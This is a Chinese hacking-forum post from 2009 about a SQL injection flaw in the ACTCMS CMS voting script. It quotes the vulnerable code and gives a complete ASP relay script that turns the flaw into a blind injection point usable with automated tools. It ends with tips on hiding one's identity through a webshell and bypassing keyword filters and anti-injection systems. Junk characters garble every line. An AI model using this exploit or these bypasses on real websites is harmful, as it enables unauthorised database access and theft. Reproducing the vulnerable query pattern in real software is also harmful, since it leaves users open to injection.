+ A% Y+ C" H& D& H2 \4 j
看到ninty大牛的blog的一篇文章4 M z7 [" M4 `6 q# x7 Y7 t
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]2 ~. {( X# a" [1 ~
关于actcms漏洞的利用 by 3x qq:381862589% ~- L2 A" f# {
转载请注明以上
2 Z3 j1 b) ~+ s/ M漏洞文件:1 s2 p0 m) v' u [6 T" W
/plus/vote/vote.asp/ L1 S8 i# C7 O+ w" A4 A Q
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then . ?9 Q U- N% Y B
& p t8 I: ^& M* x. X
2 response.write "<script>alert('请选择投票项目。');window.close()</script>" . b, H& Y J& p ^0 K8 V
# W. V' H6 u2 A3 response.end
6 @+ L/ M9 ]2 H' F0 T6 B! _* Y6 y3 K) Y( S
4 end if
7 L% i1 E6 c ?4 ~# u) _- Q \, b
6 f. t p! }* s, _5 for i=1 to request("voted").count 3 [& b6 H+ P8 {! h+ [
" Q, N+ `5 Z8 d6 W6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))
; x+ ]% m ]; M# ^5 k
1 ]. }6 M1 W4 k- `3 d7 next
0 E- X; \+ [/ s" m
1 t6 y6 B- v* o2 ?8.... 0 T" X5 s& J. C# `2 h% i/ o6 _
& E/ d& @2 D6 N5 n9 s6 u4 J9response.Redirect "index.asp?id="&id&"" $ l; L+ X9 N0 H4 S3 B& X& h
投票结束回跳转回index.asp这个投票结果页面. D) B" |; o; m' {( T) ?
如果投票成功票数加1
( z4 N1 p5 U6 y- B& A% f: C 失败票数不变
( s$ i1 h4 d$ ?# V. O, u) L如图:- f$ X# x1 P1 f6 S, D9 b
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
7 r" B& e; G7 i7 ]2 V, N
G3 x: `' |/ |1 ]$ d7 k! h* j2009-12-27 13:20
) q8 X6 v: ^; r4 A ]7 _9 I& e' n( e6 a
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
# m! b4 v7 C) Z! ~: [# _
0 u$ T0 t# q) r) ?' b( B本帖隐藏的内容需要回复才可以浏览
5 l( l) p( m" H0 H$ a我们用注入中转来实现这个注入具体代码如下:8 D$ [; B8 Z! c: F7 o4 m9 f
先用寂寞的刺猬大牛的注入中转生成jmget.asp
1 t0 j8 V, i; M3 c- ^& f注入地址:http://localhost/actcms/plus/vote/vote.asp' S8 V) U$ ?# k1 g/ e
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项0 R6 Q* m2 U9 k
, R* k6 c, M z( }+ ]
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
1 Q9 [; ?8 d- C+ z3 l
/ j) b3 ^! V) ~& i5 F- S02JmdcwName=request("jmdcw")
8 O( C7 Q {3 W% l! t, e' H) {+ F$ n0 s) X. V7 S
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
" p& u$ m" r2 J! A* `
( y1 v; }4 A3 _+ c04JmStr="id=1&voted=-1 or 1="&JmdcwName
6 Y% b+ Q; c( ^% Q6 \+ U2 @/ F0 @. W: y2 V- M
05JmStr=URLEncoding(JmStr) : f, L `% o9 c
3 J1 C8 B9 v- X06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
6 Z( }1 y3 w- [- ]7 d Q, c) G+ T8 \+ s( b4 @. b" E
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
7 G. ~4 L2 T% i# B# S) C; Q5 d& k) W4 [5 l% `) _
08testurl=testurl & "?" & JmStr
5 F7 `$ q2 U' C) @# P$ n
- q7 S9 E8 c& Y4 d# K0 p. J09JMUrl=JMUrl & "?" & JmStr 1 v, n( N1 F. r+ e) @6 ?
. z% B9 T) S1 c3 Q; K3 V! v! }
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"* u+ P! ]1 s5 e; e0 Q
# q9 K5 n4 ?0 N$ Q
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"4 x7 ^- p9 z8 n. t, i1 O1 U& F
3 n! ~" U; `" s6 P. h
12JmCok=replace(JmCok,chr(32),"%20") ( h+ X+ y& F4 S. n {' g
: e* J& N1 I. ~' Z13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ! U) D6 e3 i. c8 A5 w* u5 p
7 }/ g* a1 |, k# [
14
/ y; @4 @/ T/ @$ c8 ~: O6 p, {) T( v3 O! o3 e$ r2 r V
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 7 C5 a5 F7 ?6 `$ U8 [
( d; a0 V9 X4 I; P! t16
6 C2 \! [% f3 _ u u3 y, F2 L# X- ~7 C. R# u+ o$ \6 F
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. q4 S4 y& l; b, a# @- a1 ?; v* ]$ j5 _& x: t2 m) v
18response.write test1&""&test2&""# J+ q1 G% D, A- X
/ g3 K. T" _3 I Y) W: W; J19 7 T$ e5 {6 s3 F. x) K
$ x/ ?. h i6 _4 p
20if test1=test2 then '如前后记录相等,表示失败
* E* l% N# P9 Q- w' d6 l. W- X5 Z0 V* A- U* i/ |: f( ~2 r
21 response.write "failed"' i k1 [& J, ?5 C
5 a& Y8 H8 C& A; x- n
22else
# Q0 W, A/ K6 G! L( ^" [/ K6 B5 A) y
23 response.write "succeed"9 Z3 p# d5 m6 C7 w# C
/ C5 u4 q* z: r( K24end if / r' ^ h, o) `$ T
- V% O; Y) b$ t/ S5 z
25 * D7 @- O& u" Z. C, u
! S" S' \, I8 A# i4 U
26response.write "by 3x"1 j9 S+ C0 T7 F) C. B$ F! K
* G: f' n/ Q& Y! L! c* _- E27 5 n+ j/ u$ A0 Y
6 y3 s2 j0 Q* M( B7 B! t6 L( a0 f0 g) v
28
0 \' k: B4 ` A
2 ^% y9 g) ~4 ?7 F+ `29Function PostData(PostUrl,PostStr,PostCok,PostRef) 6 l4 z& d+ a8 J3 ]/ v
! ~$ N) I o: I- G0 |3 {30Dim Http
+ a1 l, D/ s! `+ v$ w; o, m- ]% u' B
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
5 l9 e5 D: C! u. t7 o2 X5 A3 R( N/ D& [% O# d. t
32With Http
' i- J1 B; V( l/ W. @& C
- V9 H9 e3 a6 x- ~- ?33 $ s A0 E6 Y q* l9 }0 n
' H! `4 E& h) J: b& Y7 H6 u7 L- a
34.Open "GET",PostUrl,False+ r- ]; j6 w' P5 o) O8 `% w; J
- n/ }7 n. _ C1 f+ D+ i/ I35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded", A$ e; C/ ]1 Y/ j7 j& s
1 V6 I+ `2 E0 V36.SetRequestHeader "Referer",PostRef ) q1 |0 E( e8 M, x+ E
. Y5 t' X E* F, v! M$ U9 |
37.SetRequestHeader "Cookie",PostCok
1 r4 ?6 N! i( W: j0 G& t
# M4 r/ S' E1 @$ P0 ^38.Send ()
& {9 x/ l- l, [2 T" Q
8 E. D! ]" ^ s9 _39PostData = .ResponseBody 1 Z0 q3 U, G: e& A
/ I/ `. D9 R- g: p5 j; z40End With" a5 w) s) t- S8 E+ Q: D
: r. p2 C" e% p' @. m2 U) y
41Set Http = Nothing
* x6 ]0 x7 e! v. V" t0 E5 z! b: l6 |7 Z! D
42PostData =bytes2BSTR(PostData)
0 g& I. C& [1 \4 B8 M
) K: w- D: j: ]0 d" J, L! A43End Function+ x$ U# P+ q7 A* M
# c i0 b% W. J; O2 z: M" _$ N44 7 r* E+ B/ N0 q n
# {+ ^9 ~- u( j( r2 h0 ~
45
' z% m: j1 R# l$ f3 u" y- g6 q# ?9 I. f
46Function bytes2BSTR(vIn)
: E$ K; T" q# X( x9 L4 K3 m+ Z% j0 v8 S4 J6 |
47Dim strReturn 8 a1 H8 W: a4 Z6 M
2 U, S5 Z1 ]9 F6 q5 v
48Dim I, ThisCharCode, NextCharCode ! g; Q. c v5 S6 g, U* D8 k2 h( I8 S
' B7 c9 Q! v8 Q- d% d& e4 C& K
49strReturn = ""1 M( O; m2 {6 k- H7 c. N
2 U; j- O) }: h) X d n
50For I = 1 To LenB(vIn) ( G: t& k- |- T2 L# y% i1 J
7 z, w4 N* q) `$ t6 t/ O: ?51ThisCharCode = AscB(MidB(vIn, I, 1)) , k. N1 B8 u- ?# Q$ v# P u: A0 h
, x! M0 ]) |+ }% q; ~) x! l) W52If ThisCharCode < &H80 Then
, Z i' P: |% q2 S5 |
1 d8 h# y' H# d0 T" B: ~53strReturn = strReturn & Chr(ThisCharCode)
8 x W" Z5 ?3 b. _1 c$ T1 U
. }" s, i* a1 `: u1 M$ w. ]54Else
/ n2 s+ C1 \4 }1 y
0 g/ Y8 L, v) m1 c5 V- i2 f8 A J4 V. s55NextCharCode = AscB(MidB(vIn, I + 1, 1)) : h! M x2 Z) G9 q! R0 f! K3 Y
- w. L& H$ }8 j0 t9 [
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ! W. }1 D7 v/ V e# l# e% q
# q6 j8 p" b0 b3 E4 h3 {, P0 a57I = I + 1
. M6 O. }) X1 L) w2 F, Z' I- Z$ N
5 L, m. Z5 ?/ G2 U# C3 i! M0 V W58End If j( r: v! i6 C4 C# ?) a7 j! B
7 `" \- d( ^' Y) y59Next
3 K. x, l7 a( F" C9 w& n" R2 j" `5 _; n9 F4 E# q1 p
60bytes2BSTR = strReturn
' W& a. g5 L- F" {# b: U; A. _, T9 q) w. y. w+ H# X. w
61End Function8 H/ t1 [) v! Q7 ?" [6 X
) h+ p- C7 H' u& x5 Y! c% \: A
62
3 X1 b- ~3 ?2 \# j9 F. e# I% X; D2 Q* q$ A; h! ~4 y
63Function URLEncoding(vstrin) 1 m+ `/ ?1 S, q- ~* y6 h
# G7 ]# Y' ~# F( L& {8 w64strReturn="", g" r6 F O+ h
9 ]# v! J2 W) Z
65Dim i
2 B0 P# `- N2 V, b+ [" q& ]3 k+ q+ ^
66For i=1 To Len(vstrin) ' G* x3 z8 _6 O) v0 n) ?8 h; H4 [
4 p' s# \# C4 Z6 G; Y3 g67ThisChr=Mid(vstrin,i,1)
2 u; L) v* e" r1 I1 e5 _: l: ?7 U$ Y0 y% [
68if Abs(Asc(ThisChr))< &HFF Then
6 |, D, M4 ~: v& C4 K+ I
5 ]# H) D) ]% G/ p% a. `/ Z% e69strReturn=strReturn & ThisChr
/ i. [( H- `' _3 Z, k
/ j# K* i' _1 t% K/ p70Else. i" `0 {0 k) `& y, x& N( B
; Y9 u4 j; l/ L: ]/ R4 ^$ v71InnerCode=Asc(ThisChr)
1 y1 H7 g) t) z% a- r
1 Z" P- ~9 O) B72If InnerCode<0 Then
5 K3 T( |; Q5 T D4 S
4 M) A" N% ] E5 ?73InnerCode=InnerCode + &H10000 , p+ c5 N @; T: P6 T
) t8 e( t2 n0 V# C' k5 z
74End If$ {+ f+ Y9 [2 Y7 v5 R# A
4 K+ y9 e0 r9 v/ D. U& x6 h0 z
75Hight1=(InnerCode And &HFF00) \&HFF
# F: m/ E/ M6 d5 l( |' M: p: |5 q: M7 f8 A- H1 {
76Low1=InnerCode And &HFF
5 O/ h ]9 v( T8 C" u9 d, e0 G0 b* m( t) F6 F* O
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
1 }9 F0 `: ~' _ x8 U( D: b$ A2 k. p7 P# Z+ i# K+ E' Z
78End if 1 Y9 m; v" I* K1 L$ u
4 P" k2 ]0 ~0 u; `79Next
2 `2 ~3 N9 D" b: g/ n. t: }% l" f9 x+ o9 P: L$ w" J. W Y
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
2 Z0 i& D' [* x& q( g! G
2 z: d( f1 s/ }; A- e, \81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
! x* j( P; _7 Z+ a$ J7 m! {6 J* a
# d2 `* E2 Z" B- J82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
& q; X4 [! l/ z6 \# g8 G6 V1 i/ b) f- V2 N+ l+ J7 s: N% X
83URLEncoding=strReturn
, o, C! D; I" |6 w, w
4 I b" c) k# }3 N) K' @: {84End Function
% I; \% `9 J8 J1 x O. Z$ @- j+ F3 _. d6 r/ H2 z0 Z2 c
85
2 V& |% |% B8 j* Z8 o8 w# j
; O' J6 ~2 V# M86function getSt(body) 1 i$ O0 S* D- _9 H6 F
# D7 ?3 [% u# F' d87 startpot=instr(body,"投票人数:")+len("投票人数:")
" k9 O- q1 {% T! I; Q/ B# I w5 M3 P0 k! B' ~
88 endpot=instr(startpot,body," ") 4 h8 K; H$ L- j. J g8 A! c
4 P$ n' [) ^' a$ H89 getSt=mid(body,startpot,endpot-startpot)
: G$ O1 z1 S( x: e* r
/ V* e! I3 Y3 ^# v" q1 d& \90end function
X: b% d- _" m- M2 o$ N, s- w0 Z: ?/ P8 @- b: S7 h+ n. I: [% K
91%>! [# B( R0 m- ~( Y, Q# N5 N
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
7 S& ^& g. f- Q5 p# m4 ?测试下效果:6 G/ b% O2 {+ H. ]. N: p6 |3 h y
投票成功:$ i' `7 m' c1 l
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
5 E5 k& i/ D1 V2 d: c5 q9 n2 D0 ?4 @* Z3 c, @% a
2009-12-27 13:295 Q. h5 n/ U4 I
投票失败
/ J a. Q' R- u |5 t0 K8 _http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
4 H7 `$ V; K+ Z, h Y; U7 D, \( a& |" L" s2 G
2009-12-27 13:29
# h/ V5 O+ _9 \; t-------------------------------------------------------------------------------
2 n# l! U6 t$ R5 C4 W0 {% `再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以; _4 S" s$ G: m% U
很抱歉。。。只能用单线程工具去注入。。。。。
$ R. V" r) Q: V" V% d所以失败。。。不好意思。。。
7 w% r" T Y. ^-------------------------------------------------------------------------------3 \' h$ t" G8 [/ b8 v
# l4 ]! ? a4 q; e: l( v7 b& z注入中转的一些其他应用
/ d) J' H3 V, V' q其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了0 |( r6 P' R; |! {2 p" |1 _
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
1 F' r1 @1 R3 l% k1 G7 Z2.post注入转成get型的注入,方便我们使用工具来跑
5 r3 R: `. y* Y3 V' Z: B9 s3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 ^. j9 {2 q+ n b4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过2 {1 n8 @0 M" o
% k# Y" _( j' c! O# D8 F |